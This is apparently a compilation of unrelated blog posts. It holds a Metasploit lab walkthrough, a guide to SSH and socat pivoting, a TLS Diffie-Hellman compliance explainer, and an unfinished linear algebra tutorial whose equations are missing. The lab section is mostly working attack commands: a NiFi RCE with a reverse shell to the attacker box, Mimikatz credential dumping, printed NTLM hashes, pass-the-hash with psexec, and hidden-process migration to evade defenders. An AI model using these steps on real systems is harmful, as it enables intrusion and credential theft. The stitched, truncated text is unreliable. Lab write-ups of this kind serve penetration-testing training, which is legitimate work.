Scope: Two Windows hosts on the same internal segment:

• WK03 (192.168.124.225)

• WK04 (192.168.124.226).

The Kali box is at 192.168.45.165 (tun0).

1. Start with a workspace, not a mess

Before doing anything, create a workspace. Everything Metasploit discovers- hosts, services, creds, loot- gets written to its database, and workspaces keep one engagement’s data separated from others. First, make sure the database is connected, then create a new workspace:

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

msf6 > workspace -a itwk_lab
[*] Added workspace: itwk_lab
[*] Workspace: itwk_lab

If db_status says you’re not connected, exit, run sudo msfdb init once, and relaunch.

2. Scan straight into the database

Make use of the db_ wrapper on nmap so results persist in the workspace:

msf6 > db_nmap -sV -p- 192.168.124.225 192.168.124.226

With that, you can query what came back from the database and easily reference it later rather than re-reading raw output. Database commands like services and hosts are your friends here:

msf6 > services
host             port  proto  name          info
----             ----  -----  ----          ----
192.168.124.225  135   tcp    msrpc         Microsoft Windows RPC
192.168.124.225  139   tcp    netbios-ssn
192.168.124.225  445   tcp    microsoft-ds
192.168.124.225  5985  tcp    http          Microsoft HTTPAPI httpd 2.0
192.168.124.225  5986  tcp    ssl/wsmans
192.168.124.225  8080  tcp    http          Jetty 9.4.48.v20220622
192.168.124.226  135   tcp    msrpc         Microsoft Windows RPC
192.168.124.226  139   tcp    netbios-ssn
192.168.124.226  445   tcp    microsoft-ds
192.168.124.226  5985  tcp    http          Microsoft HTTPAPI httpd 2.0
192.168.124.226  5986  tcp    ssl/wsmans

The two hosts scanned are near-identical with a typical Windows management surface (RPC, NetBIOS, SMB, WinRM). Except WK03 has one extra thing: something on port 8080 behind Jetty. Asymmetry like that is nearly always the entry point (for labs, at least). In any event, enumeration is as much about noticing what’s different as cataloguing what’s there.

Quick trick: most database commands can populate RHOSTS for you. For example, services -p 8080 --rhosts sets RHOSTS to every host with 8080 open, so you save time typing target IPs you’ve already discovered.

3. Land the foothold

On to the foothold. Jetty is just an embedded servlet container, so it isn’t the target in and of itself; the app running on top of it is. Browsing to http://192.168.124.225:8080 redirects to /nifi, an Apache NiFi instance. To fingerprint the version of NiFi, you can query this endpoint:

curl -sk http://192.168.124.225:8080/nifi-api/flow/about

From there, we can start searching for potentially relevant modules. This part, like any enumeration, is cyclical: search, read, check, run.

msf6 > search nifi
msf6 > use exploit/multi/http/apache_nifi_processor_rce
msf6 exploit(...) > info
...

It’s worth not skipping the info step here. It will often reveal crucial information to stop you from heading down the wrong path. In this instance, one thing mattered quite a bit. The module splits “available targets” by OS. This is a Windows host, but the module sets the default to Unix and it is not immediately clear from the show options page that this can be switched. To switch to Windows run set target 1.

msf6 exploit(...) > services -p 8080 --rhosts 
msf6 exploit(...) > set RPORT 8080
msf6 exploit(...) > set target 1
msf6 exploit(...) > check
[+] The target appears to be vulnerable.

Staged vs. non-staged payloads

A quick aside on payloads. Metasploit payloads come either staged or non-staged.

Staged means a small stager is sent that connects back to the attacking machine and then pulls the rest of the payload into memory. These are denoted with “/shell/ in the module paths: .../shell/reverse_tcp).

Non-staged, on the other hand, sends everything in one shot and these are written with an “shell_” in the module path: .../shell_reverse_tcp).

Staged is smaller and squeezes into tight exploits; non-staged is chunkier but more reliable when space isn’t the constraint. For a roomy web RCE, either is fine:

msf6 exploit(...) > set payload windows/x64/shell/reverse_tcp
msf6 exploit(...) > set LHOST tun0
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > run
[*] Command shell session 1 opened

Setting LHOST to the interface name (tun0) rather than a hard IP is a nice habit; it survives your VPN address changing.

4. Sessions and jobs (and the channels hiding inside them)

You now have a session. Three related ideas are worth keeping straight here because they are easy to conflate.

Sessions are the top-level footholds, generally one per compromised host, each its own connection:

msf6 > sessions -l               # list
msf6 > sessions -i 1             # interact with session 1
msf6 > sessions -k 1             # kill it

That NiFi RCE landed a raw command shell, not Meterpreter. Almost every post-exploitation module needs Meterpreter, so it will need to be upgraded:

msf6 > sessions -u 1
[*] Meterpreter session 2 opened

Jobs are things running in the background, like listeners. Exploits or handlers can be launched with the tag -j and it will run in the background and return your prompt straight away so you can get on with other things while you wait:

msf6 exploit(...) > run -j
msf6 > jobs                      # list background jobs

Channels live inside a single Meterpreter session. Meterpreter multiplexes several streams over one connection. When you drop into a shell from Meterpreter, background it, and open another, those are channels within the one session, not new sessions:

meterpreter > shell
Process 4120 created. Channel 1 created.
^Z
Background channel 1? [y/N]  y
meterpreter > channel -l         # list channels in this session
meterpreter > channel -i 1       # re-enter channel 1

The mental model:

• session = a whole compromised host;

• channel = one stream of activity within a session;

• job = something ticking away in the background of the console.

5. Know who you are

Post-exploitation starts with orientation. Who am I, and what can I do?

meterpreter > getuid
Server username: WK03\alex

meterpreter > getprivs
...
SeImpersonatePrivilege
...

alex is a normal account, not SYSTEM, so we cannot read the SAM yet. But that privilege, SeImpersonatePrivilege, means the account can impersonate a token handed to a process it controls, which is a privilege escalation path to become SYSTEM. Spotting that one line is worth more than any scanner.

But let’s try the free option first:

meterpreter > getsystem

getsystem leans on named-pipe impersonation and I imagine would often come up empty on a patched box. But for the purposes of this post, it’s fine.

Two other Meterpreter moves are worth keeping in mind in terms of maintaining persistence and escalating privileges.

First, migrate moves your payload into another process, which is helpful if the one you exploited closes or looks suspicious to a defender hunting you and reviewing process lists.

Secondly, execute spawns a fresh process to migrate into if nothing suitable exists. The following command executes notepad but hides it from the user interface to create a new process for migration:

meterpreter > execute -H -f notepad.exe
Process 5200 created.
meterpreter > migrate 5200

You can only migrate into a process at your integrity level or lower, so do this after you’re SYSTEM and your options open right up.

6. Loot the box

As SYSTEM, we can load the kiwi extension (i.e., Meterpreter’s Mimikatz) and pull what’s in memory:

meterpreter > load kiwi
meterpreter > creds_all          # everything it can parse
meterpreter > lsa_dump_secrets   # LSA secrets, where svc-account creds might be
meterpreter > lsa_dump_sam       # local account hashes from the SAM

• creds_all reads from LSASS process memory, so it will aggregate credentials for logged in or recently logged in users.

• lsa_dump_secrets reads the SECURITY hive, which can reveal service account passwords and cached domain credentials via the related lsa_dump_cache.

• lsa_dump_sam reads the SAM hive and gives you NTLM hashes for local accounts, including accounts that have never logged in interactively.

For a Metasploit database-integrated way to grab the SAM hashes, consider using …/smart_hashdump:

meterpreter > bg
msf6 > use post/windows/gather/smart_hashdump
msf6 post(...) > set SESSION 2
msf6 post(...) > run

• smart_hashdump essentially does the same thing as lsa_dump_sam but with the added feature of writing results straight into the database.

It’s also worth noting that point is only true on a member host. On a Domain Controller, there is no meaningful local SAM so smart_hashdump will pull domain hashes from NTDS.dit. That’s something lsa_dump_sam from kiwi can't do.

From here, you can read the table back:

msf6 > creds
public          private                                                            realm   private_type
------          -------                                                            -----   ------------
cloudbase-init  aad3b435b51404eeaad3b435b51404ee:fb056ea1f139dcf620c9bec859fe0f22  WK03  NTLM hash
wk04admin     aad3b435b51404eeaad3b435b51404ee:445414c16b5689513d4ad8234391aacf  WK03  NTLM hash
alex            aad3b435b51404eeaad3b435b51404ee:5391f1724568f48a4aadba748109864c  WK03  NTLM hash
Administrator   aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0          NTLM hash

Reading a creds is, itself, a skill. Two of these are noise:

• Administrator’s NT hash is 31d6...089c0, which is a well-known hash of an empty password, so that account is blank or disabled and useless; and

• alex is just the account you already owned.

• cloudbase-init is a cloud-provisioning artefact.

The one that matters is wk04admin. The name is a breadcrumb; it’s the admin account destined for the other box. If we check systeminfo on the current compromised machine, we see it is denoted with wk03.

Two places your loot lives, which can easily be conflated:

• The creds table is the structured, query-able set, for things like hosts, usernames, hashes, and cracked plaintext secrets once you have it.

• The loot directory (files under ~/.msf4/loot/) holds the raw artefacts, SAM and secrets dumps from kiwi.

Be aware that the kiwi commands print to your console but don’t always push into the creds table, whereas smart_hashdump does. So run creds and confirm what actually landed before you rely on it.

7. Reuse to the second box

wk04admin’s hash is the key to WK04. Before going gun’s blazing, validate it actually authenticates on that target with a scanner:

msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(...) > set RHOSTS 192.168.124.226
msf6 auxiliary(...) > set SMBUser wk04admin
msf6 auxiliary(...) > set SMBPass aad3b435b51404eeaad3b435b51404ee:445414c16b5689513d4ad8234391aacf
msf6 auxiliary(...) > set SMBDomain .
msf6 auxiliary(...) > run
[+] 192.168.124.226:445 - Success: '.\wk04admin:...'

The SMBDomain . matters here. The dot means “authenticate this account as local to the target,” which is what you want against standalone workstations rather than a domain. The full hash can be passed directly so no cracking is needed, because NTLM auth accepts the hash (i.e., pass-the-hash).

Keep in mind that a successful smb_login gives you an SMB session, not a shell. It’s proof the hash works, and you can browse shares, but it isn’t command execution. To actually own the box, in this case, use psexec:

msf6 > use exploit/windows/smb/psexec
msf6 exploit(...) > set RHOSTS 192.168.124.226
msf6 exploit(...) > set SMBUser wk04admin
msf6 exploit(...) > set SMBPass aad3b435b51404eeaad3b435b51404ee:445414c16b5689513d4ad8234391aacf
msf6 exploit(...) > set SMBDomain .
msf6 exploit(...) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST tun0
msf6 exploit(...) > set LPORT 4455
msf6 exploit(...) > run
[*] Meterpreter session 4 opened   (NT AUTHORITY\SYSTEM @ WK04)

Don’t forget to update LPORT to avoid colliding with the handler still tied to your WK03 session. And because wk04admin is an administrator, psexec drops straight into a SYSTEM context.

8. Going deeper: pivoting

This lab was two flat boxes on the same segment, so no pivoting was needed. But if a target were to be hiding behind a foothold, on a network you can’t route to, a session is then the doorway.

autoroute teaches the framework to route an internal subnet, say 10.10.20.0/24, through your foothold:

msf6 > use post/multi/manage/autoroute
msf6 post(...) > set SESSION 4
msf6 post(...) > run

Metasploit’s own modules can then reach that subnet. For external tools, stand up a SOCKS proxy and point proxychains at it (same idea as discussed in Port Forwarding & SSH Tunneling.

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVHOST 127.0.0.1
msf6 auxiliary(...) > set VERSION 5
msf6 auxiliary(...) > run -j

With socks5 127.0.0.1 1080 in /etc/proxychains4.conf, anything can flow through the tunnel (e.g., sudo proxychains xfreerdp /v:10.10.20.40 /u:...).

For a single port instead of a whole subnet, portfwd from inside the session is lighter:

meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.20.40

One trap: a route only carries an already-established connection. If you exploit something through the pivot and want a session back, a reverse payload usually can’t find its way home because the deeper target has no route to you. With this in mind, use a bind payload (windows/x64/meterpreter/bind_tcp) in those situations so you connect in over the route.

Subscribe now

The one idea that fixes most of the confusion

Every forwarding setup has three roles:

• Listener: the socket that receives the initial connection. Something connects to it.

• Forwarder: the process that takes what hits the listener and pushes it somewhere else.

• Destination: the final service you actually want to talk to (a database, RDP, SMB, etc.).

The trap is assuming the listener is always on your local machine, or always on the target. This isn’t the case. In SSH tunnelling specifically, the SSH client and SSH server roles are about who initiated the SSH connection, and that is independent of which of them ends up hosting the listening port. Local vs. remote forwarding is entirely about that pairing. Once you interrogate “who is the SSH client here, who is the SSH server, and which one is listening,” the rest is just filling in IP: port pairs correctly.

Scenario setup

Assume a foothold on a compromised app server we’ll call JUMPBOX01 (192.168.60.50), sitting between our Kali machine (192.168.120.5) and a database host on an internal segment, DBHOST02 (10.10.20.30), which is only reachable from JUMPBOX01.

1. Socat — dumbest, fastest port forward

No SSH involved - relays TCP. Run this on the intermediary host (JUMPBOX01):

socat -ddd TCP-LISTEN:2345,fork TCP:10.10.20.30:5432

• Listener: port 2345 on JUMPBOX01.

• Forwarder: socat itself.

• Destination: port 5432 (Postgres) on DBHOST02.

From Kali, connect to JUMPBOX01’s IP on the listening port, and it’s transparently pushed to DBHOST02:

psql -h 192.168.60.50 -p 2345 -U postgres

Good for a quick, disposable relay but is weak on stealth. An odd listening port is easy to spot with basic monitoring, so it’s more suited to noisy, time-boxed lab work than an actual engagement.

2. SSH Local Port Forwarding (-L)

Mental model: “I (the SSH client) want to open my door that tunnels to something the SSH server can reach.”

Syntax:

ssh -N -L [LISTEN_IP:]LISTEN_PORT:DEST_IP:DEST_PORT user@SSH_SERVER

• The listener binds on the SSH client machine.

• Traffic goes: client listener → tunnel → SSH server → destination.

Say we’re SSH’d from JUMPBOX01 out to DBHOST02 (DBHOST02 is the SSH server here), and we’ve found a third host, FILESRV03 (172.20.10.40), reachable only from DBHOST02 with SMB open on 445:

ssh -N -L 0.0.0.0:4455:172.20.10.40:445 svc_admin@10.10.20.30

The way I like to think of this is: “from 0.0.0.0:4455, via svc_admin@10.10.20.30, to 172.20.10.40:445”.

From Kali, connect to JUMPBOX01’s IP on the listener port, and the traffic will be tunnelled through to DBHOST02 and pushed to FILESRV03 on port 445:

smbclient //192.168.60.50/share -p 4455

When to use it: you know exactly one destination socket you want to reach, and you’re fine opening just that one door.

3. SSH Dynamic Port Forwarding (-D) - the SOCKS proxy

Mental model: Same direction as local forwarding (client listens, server routes), but instead of hardcoding one destination, you get a full SOCKS proxy. Anything the SSH server can route to, you can now reach.

ssh -N -D 0.0.0.0:9999 svc_admin@10.10.20.30

Point proxychains at it (/etc/proxychains4.conf):

[ProxyList]
socks5 192.168.60.50 9999

Then run any tool through the tunnel, and traffic will be routed as addressed.

proxychains nmap -sT --top-ports=20 -Pn -n 172.20.10.40

Drop the tcp_read_time_out / tcp_connect_time_out values in proxychains’ config if scans feel painfully slow; the defaults are tuned for Tor, not internal pivoting.

When to use it: you don’t know the full target list yet, or you need to reach several hosts/ports beyond the pivot without opening a new forward for each one.

4. SSH Remote Port Forwarding (-R)

Mental model: This flips the listener to the other side. “I am the SSH client, but I want the SSH server to open the door, and I (the client) will do the forwarding back to something only I can reach.”

This is the pivot equivalent of a reverse shell and is useful when the compromised host can reach out, but nothing can reach in.

ssh -N -R [BIND_IP:]LISTEN_PORT:DEST_IP:DEST_PORT user@SSH_SERVER_YOU_CONTROL

Say your foothold is on JUMPBOX01, and JUMPBOX01 can dial out to your Kali box (192.168.120.5), which is running sshd. From JUMPBOX01 (acting as SSH client here):

ssh -N -R 127.0.0.1:2345:10.10.20.30:5432 kali@192.168.120.5

• Listener: port 2345, bound on Kali (the SSH server in this exchange) — loopback.

• Forwarder: the SSH client software running on JUMPBOX01.

• Destination: DBHOST02:5432, reachable from JUMPBOX01.

The part that sometimes trips me up is even though you set this up from JUMPBOX01, the port you actually connect to afterwards is on your own Kali box, not JUMPBOX01. The whole point of “remote” forwarding is the listener lives remotely, relative to where you typed the command.

5. SSH Remote Dynamic Port Forwarding

Same flip as above, but SOCKS-flavoured instead of one fixed destination. Only needs one thing: the port to bind on the SSH server:

ssh -N -R 9998 kali@192.168.120.5

Update /etc/proxychains4.conf:

socks5 127.0.0.1 9998

Now, from Kali, proxychains nmap or any other tool can reach anything JUMPBOX01 can route to without needing to know the destinations in advance:

proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.10.20.30

When to use it: You’re pivoting deeper through a host that can only reach you outbound, and you don’t yet know the full internal target list.

The fastest way to stop second-guessing syntax mid-engagement: before typing anything, say out loud “the listener is on ___, and it forwards to ___.” If you can’t fill in both blanks confidently, you’re not ready to type the command yet.

When using DH for agreeing on encryption session keys, a modulus of at least 2048 bits is used, preferably 3072 bits.

The evidence I’d been handed was a screenshot of a server’s TLS certificate, showing a 2048-bit RSA public key, similar to the one below:

At first glance it might look right, but it wasn’t evidence for ISM-0472 at all. Both things involve the word “modulus” and the number 2048, which is why this mix-up is so easy to make until you’ve sat down and pulled the two apart. So let’s pull them apart.

Two different jobs, two different keys

A TLS handshake actually needs to do two separate jobs:

1. Prove identity. The server needs to convince you it really is who it says it is. This is what the TLS certificate, like the screenshot above, is for. It contains a public key (often RSA, sometimes EC) that the server uses to sign parts of the handshake, proving it holds the matching private key.

2. Agree on a session key. Separately, the client and server need to agree on a fresh secret to encrypt the actual traffic for the session. If they’re using Diffie-Hellman (DH) to do this, that process involves its own key material, also known as a “temp key” or ephemeral key. Crucially, this has nothing to do with the certificate.

These are two different keys, generated for two different purposes. Importantly, there is no relationship between their sizes. A server can hand you a 4096-bit certificate for authentication and still negotiate a 1024-bit DH group for the session key.

That mismatch is, in fact, close to the basis of a real vulnerability class (Logjam, 2015), where servers supporting legacy export-grade DHE ciphers could be forced down to a 512-bit DH group, and where widespread reuse of the same standard primes meant one precomputation could compromise many servers at once. A strong certificate never told you any of that.

So the screenshot showed the RSA modulus of the certificate’s public key. Good evidence of authentication strength, but ISM-0472 is asking about the modulus used to derive the session key. In other words, the key used to encrypt the session traffic between the server and the client. Same word, same number, completely different thing. The evidence didn’t touch the control it was meant to support.

What “modulus” actually refers to in each case

It’s worth being precise here about what the term “modulus” actually means.

• Certificate / RSA modulus: this is the large number n that forms part of an RSA public key (n = p × q, two large primes). Its bit-length is what people mean when they say “2048-bit certificate” or “2048-bit key.” It’s baked into the cert and doesn’t change per session.

• DH modulus: this is the large prime p that defines the finite field the Diffie-Hellman exchange operates over. When DH is ephemeral (DHE), this prime is chosen or negotiated fresh, often for each session, and it's this value, not anything in the certificate, that ISM-0472 is actually asking about.

Seeing the difference yourself

The cleanest way to internalise this is to force a handshake and look at both values side by side. You’ll need a Linux box with OpenSSL to follow along. This is entirely self-contained, so no need to go hunting for a public server that still does classic DHE (more on why that’s hard, shortly).

1. Generate a cert and a DH group, then start a test server:

# The following command generates a self-signed cert with a 2048-bit RSA key.
# This is the “authentication” key.
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
-days 7 -nodes -subj "/CN=test"

# The following command generates a 2048-bit DH parameter file. 
# This defines the DH modulus.
openssl dhparam -out dhparam2048.pem 2048

# The following starts a bare TLS server, forcing TLS 1.2 + DHE so nothing 
# negotiates around it.
openssl s_server -accept 4433 -cert cert.pem -key key.pem \
-dhparam dhparam2048.pem -no_tls1_3 -cipher 'DHE'

2. In a second terminal, connect and inspect both values:

openssl s_client -connect localhost:4433 -tls1_2 -cipher 'DHE' \
< /dev/null 2>/dev/null | grep -E "Temp Key|Server public key"

You’ll see something like:

Peer Temp Key: DH, 2048 bits
Server public key is 2048 bit

Two lines, two different keys, coincidentally matching. Now change just one of them and regenerate the DH params at 1024 bits and point the server at that file instead, and reconnect:

# The following command generates a 1024-bit DH parameter file. 
openssl dhparam -out dhparam1024.pem 1024

# The following command restarts the TLS server 
# but with the 1024-bit DH parameter file. 
openssl s_server -accept 4433 -cert cert.pem -key key.pem \
-dhparam dhparam1024.pem -no_tls1_3 -cipher 'DHE:@SECLEVEL=0'

# Note that you will need to force the weak key with `-cipher 'DHE:@SECLEVEL=0'`

Back in the other terminal (e.g., the “client side”), re-run the query:

openssl s_client -connect localhost:4433 -tls1_2 -cipher 'DHE:@SECLEVEL=0' \
< /dev/null 2>/dev/null | grep -E "Temp Key|Server public key"

# Note you need to force the weak cipher here too.

You will see:

Peer Temp Key: DH, 1024 bits
Server public key is 2048 bit

Same certificate. Same authentication strength. But the session key is now being negotiated over a modulus half the size. This demonstrates the gap the original evidence missed; nothing about the cert tells you what’s happening on that second line.

Where TLS 1.3 and ECDHE fit in

If you try to reproduce this against a real-world site instead of your own test server, you’ll almost certainly fail to find classic DH at all, and that’s the scenario worth paying attention to.

Most modern servers prefer elliptic-curve Diffie-Hellman (ECDHE) over classic finite-field DHE. It’s the same idea in terms of negotiating an ephemeral key exchange for the session, but the mathematics runs on an elliptic curve rather than a large prime field. Instead of a “modulus,” you’ll see something like:

Server Temp Key: X25519, 253 bits

That 253-bit figure isn’t directly comparable to a DH bit-length because elliptic curve math is far more efficient per bit. X25519 at 253 bits offers strength roughly on par with a 3000+ bit finite-field DH group. It’s arguably better than what ISM-0472 asks for. But it’s also a different mechanism entirely, so strictly speaking it falls outside ISM-0472’s scope (there’s likely a separate control for elliptic-curve parameters instead).

There’s a catch though: a server can support both. Under TLS 1.2, a server’s configuration can list ECDHE cipher suites and older DHE cipher suites side by side.

A default scan of the handshake will show ECDHE negotiated, because it’s preferred. But that doesn’t mean DHE isn’t still sitting in the config underneath, pointing at whatever DH parameters were set up years ago and never revisited. If nothing modern ever picks that path, nobody ever notices it as potentially weak. An assessor who only captures the default handshake and sees ECDHE could reasonably, but wrongly, conclude there’s no DH modulus to worry about at all.

You can prove this to yourself with the same test server, configured to allow both:

# Reuse the earlier cert, but point at the 2048-bit DH param file this time.
# Note we are using the 2048-bit DH param here instead
# of a 1024-bit to avoid the SECLEVEL quirk.

# Start the server allowing BOTH ECDHE and DHE cipher suites:
# no restriction to DHE only
openssl s_server -accept 4433 -cert cert.pem -key key.pem \
-dhparam dhparam2048.pem -no_tls1_3 -cipher 'ECDHE:DHE:@SECLEVEL=1'

Connect with an unrestricted client first. This is what a routine scan captures by default:

openssl s_client -connect localhost:4433 -tls1_2 < /dev/null 2>/dev/null \
| grep "Temp Key"

Peer Temp Key: X25519, 253 bits

Looks fine. Nothing to flag. Now force DHE specifically, to check what’s sitting underneath:

openssl s_client -connect localhost:4433 -tls1_2 -cipher 'DHE' \
< /dev/null 2>/dev/null | grep "Temp Key"

Peer Temp Key: DH, 2048 bits

Same server, same configuration, but two entirely different results depending only on which cipher suite gets negotiated. The first connection alone would have signed off on ISM-0472 as not applicable, but the second demonstrates that it does apply.

What about TLS 1.3?

TLS 1.3 removes this risk entirely, which is worth knowing about because it changed how DH is allowed to work. A TLS 1.2 server could hand the client any arbitrary DH prime it liked, which is how weak, sometimes reused, primes ended up in production undetected in the first place. TLS 1.3 only permits DH via a small set of pre-vetted groups, all 2048 bits or larger, so weaker moduli are architecturally impossible under TLS 1.3.

If a TLS 1.3 handshake negotiates DH at all, it’s already 0472-compliant by construction. The catch is that almost nobody implements it, as most stacks only wire up ECDHE for TLS 1.3, so a TLS 1.3 connection using classic DH at all is rare in practice. It’s TLS 1.2, still very much alive for backward compatibility, where the real risk sits.

The practical takeaway for an assessment

Put together, this gives you a decision path for actually testing this control properly:

• Enumerate everything the server supports, not just what a modern client negotiates by default. A tool like nmap —script ssl-enum-ciphers will show you the full cipher suite list, including any DHE suites that exist purely for backward compatibility but never get chosen in practice.

• If no DHE suites exist at all and the server only does ECDHE, then ISM-0472 doesn’t apply to the system; there’s no DH modulus in play anywhere.

• If DHE suites are present alongside ECDHE, don’t assume the default handshake tells the whole story. Force DHE explicitly (as shown above) and check what modulus size it actually falls back to. This is precisely the scenario just demonstrated. ECDHE is shown by default, but a DH group is still configured and reachable underneath.

• Even a “pass” here can come with a stronger recommendation. If DHE is present and checks out at 2048-bit or higher, that's technically compliant as far as ISM-0472 is concerned. But if every real client already supports ECDHE, nothing is actually relying on that DHE fallback, so the tighter finding is often “disable DHE entirely” rather than “leave it, it's compliant.”

None of this is really about DH being unusual or obscure. It's a reminder that “a strong key is present” and “the specific key this control asks about is strong” are two different claims, and it's worth knowing which one your evidence is actually making.

A matrix is a two-dimensional array that contains the same elements as the vector. A matrix can have m rows and n columns. If it does, it is called an m x n matrix. Consider the matrix A below.

Each element aij in the matrix is a numerical value displayed in row i and column j.

​Matrix addition

To add a matrix to another, the matrices must be of the same dimensions, and the elements need to be added to the correct corresponding index.

Consider again the matrix A.

The dimensions of matrix A are mxn, meaning that the matrix has m rows and n columns. Matrix A, therefore, can only be added to another matrix with m rows and n columns.

For example:

The addition is simple, provided that the dimensions match. Add element aij​ in A to the corresponding element bij in B.

Below is an example of D = A + B - C, where all matrices are of the same dimension.

If i = 2 and j = 3, then:

Which is:

That equates to:

Scalar multiplication of Matrix

When multiplying a matrix by a scalar, the dimensions and indices need not be verified. Each element of the matrix is simply multiplied by the scalar.

For example:

Where every element of the matrix A is multiplied by the scalar α.

Using real numbers, this could be:

Where every element of the matrix A is multiplied by the scalar 3.

Multiplication of Square Matrices

When multiplying two matrices, the dimensions must align correctly. Specifically, if you have a matrix A of dimensions m×n and a matrix B of dimensions p × q, multiplication is possible only if n = p. The resulting matrix C=AB will have dimensions m × q.

The most straightforward scenario is multiplying two square matrices of the same dimensions n × n. That is, both matrices have the same number of rows and columns.

Or to demonstrate with actual numbers:

Notice the pattern in finding each element cij in the resulting matrix C = AB: each element cij​ is calculated by taking the dot product of the i-th row of matrix A and the j-th column of matrix B. Specifically, this involves multiplying each element in the i-th row of A with the corresponding element in the j-th column of B, and then summing these products.

Here is a graphical illustration of this:

These illustrations demonstrate the first row and the first column (Cij):

If A is an n×m matrix and B is an m×p matrix, their matrix product AB will be an n×pmatrix. The way this product is calculated is as follows:

• Each entry in the resulting matrix AB is obtained by taking the corresponding row from matrix A and the corresponding column from matrix B.

• Specifically, you multiply each of the m elements in a row of A with the corresponding m elements in a column of B, and then sum these products. This sum becomes an entry in the matrix AB.

Example:

If A is 2×3 (2 rows, 3 columns) and B is 3×2 (3 rows, 2 columns), their product AB will be a 2×2 matrix.

Connection to Linear Transformations:

When matrices represent linear transformations (functions that map vectors to other vectors in a linear fashion), the matrix product AB represents the composition of these transformations. This means applying the transformation represented by B first, followed by the transformation represented by A. The resulting transformation is described by the matrix AB.

In essence, matrix multiplication corresponds to performing one transformation after another.

Non-Commutativity of Matrix Multiplication

An important observation in matrix algebra is that, in general, matrix multiplication is not commutative. This means that for two matrices A and B, the product A×B does not necessarily equal B×A.

For example, consider matrices A and B as follows:

When C=A×B element c23 in the resulting matrix is:

However, if the multiplication is reversed, C=B×A, the element becomes:

So, clearly

Which means A x B ≠ B = A.

This demonstrates that matrix multiplication is not commutative. This contrasts with scalar multiplication, where the order of multiplication does not affect the result. This non-commutativity is a fundamental characteristic of matrix operations.

If x, y, and z are variables, and a1​, a2, and a3 are scalars, then the following equation will be a linear combination.

If the variables are vectors, then the linear combination of a scalar by a vector will be a new vector:

The general notation of a vector by a scalar linear combination will be:

What is Span

The span of a set of vectors is the set of all possible linear combinations of those vectors.

Mathematically, the span of the set of vectors is written as:

This represents all possible vectors that can be formed by taking linear combinations of the vectors with real scalars.

In the case of two vectors in 2-dimensional space, if the vectors are not linearly dependent (i.e., they do not lie on the same line), their span will be the entire 2-dimensional space, meaning they can reach any point in that space. However, if the vectors are linearly dependent (i.e., they lie on the same line), their span is limited to all vectors along that line.

For example, the following three vectors would span the entire R3 space (the 3-dimensional vector space over the field of real numbers) because they are linearly independent. This means that no vector in the set can be expressed as a linear combination of the others, and together, they can represent any vector in R3

Span and 3-dimensional space

The concept of span is more interesting in 3D space. Take two vectors that are not pointing in the same direction. What does it mean to take their span?

In this case, the span of the two vectors is the set of all possible linear combinations of these vectors. Geometrically, this means that the span of these two vectors forms a plane in 3D space. Every vector (or point1) on this plane can be represented as a linear combination of the two original vectors.

Now, consider three vectors that are not all lying in the same plane. What happens when you take their span?

A linear combination of three vectors is essentially the same as it is in 2-dimensional space:

In 3D space, the span of three linearly independent vectors (that do not lie in the same plane) is the entire 3-dimensional space. This means that any vector/point in the space can be expressed as a linear combination of the three vectors.

So, the span of the vectors v, w, and u is the set of all possible vectors you can create by varying the scalars a, b, and c in the linear combination above. When these three vectors are linearly independent, their span covers all of 3D space.

Linear dependence

When a set of vectors is said to be linearly dependent, it means that at least one of the vectors in the set can be expressed as a linear combination of the others. In other words, some vectors in the set are redundant because they do not add any new direction (or span) to the vector space that the other vectors already cover.

In n-dimensional space, if a set of vectors is linearly dependent, the span of these vectors does not cover any additional directions beyond what is already covered by a subset of these vectors. Consequently, the set does not form a basis for the vector space, as a basis requires all vectors to be linearly independent, ensuring that they span the entire space without redundancy.

For example, take the following two vectors:

and:

These represent a linearly dependent set. Notice that each component of v2 is precisely one-fourth of the corresponding elements of v3.

Specifically:

This means v3 is simply a scaled version of v2. They are not independent because v3 can be written as a scalar multiple of v2. In other words, v2 and v3 lie along the same line in 3D space but at different magnitudes.

Visualising this concept in 3-dimensional space can be challenging. Consider a graphical representation with just two components in each vector for simplicity. As shown, the span of one vector is entirely encompassed by the other.

3Blue1Brown has great visualisations in his videos that better demonstrate exactly how this limits access to further span in a 3-dimensional vector space.

Linear independence

When each vector in a set of vectors can not be defined as a linear combination of the other vectors, they are said to be linearly independent.

That is, for all values of a:

Or for all values of a and b:

For example:

These vectors are linearly independent.

To check if the vectors are linearly independent, there should be no scalar, k, such that:

In other words, each component of v3 can not be equal to the corresponding components v1 multiplied by k.

For:

This would require:

To solve for k in the components:

The vectors are linearly independent since no single scalar k satisfies the equation for all components.

Again, this is challenging to represent on a 3-dimensional plane (see the video above!), but taking the first two components illustrates linearly independent vectors.

A note on basis vectors

The technical definition of a basis of a vector space is a set of linearly independent vectors that span the full space.

• Linearly Independent: No vector in the set can be written as a linear combination of the others. This ensures that all vectors in the basis contribute uniquely to spanning the space.

• Span: The set of vectors can be combined (through linear combinations) to form every possible vector in the space.

If you have a basis for a vector space, you can represent any vector in that space as a unique linear combination of the basis vectors.

î and ĵ are the “basis vectors” of the xy coordinate system.

In the xy coordinate system,

• î represents the unit vector in the direction of the x-axis.

• ĵ represents the unit vector in the direction of the y-axis

Whenever vectors are described numerically, it implicitly assumes a choice of basis vectors, typically î and ĵ in 2-dimensional Cartesian coordinates. Changing the basis vectors changes the representation of all vectors in that space, though the vectors themselves remain unchanged.

A system of Linear Equations

A linear combination of vectors by scalars is crucial in solving systems of linear equations. For instance, suppose a vector needs to be represented as a linear combination of two other vectors.

Consider the following vector:

Which needs to be the linear combination of:

In this situation, the equation solves for scalars a and b, where a and b represent the coefficients of x and y, respectively:

First, multiply each vector by its corresponding scalar:

Which is:

The above results gives two separate equations:

These equations form a system of two equations with two unknowns.

There are three theoretical methods to solve the equations.

Substitution Method

To solve a system of equations by substitution, first, isolate a variable from one of the equations and substitute it into the other. This reduces the system of equations to a single equation with a single unknown.

Equation 1

Equation 2

Step 1 - Solve one equation for one variable

Starting with Equation 2 for b in terms of a:

To isolate b, add b to both sides and subtract 2 from both sides:

Now b is expressed in terms of a.

Step 2 - Substitute the expression into the other equation

Substitute the expression for b from Equation 2 into Equation 1:

So Equation 1 goes from:

to:

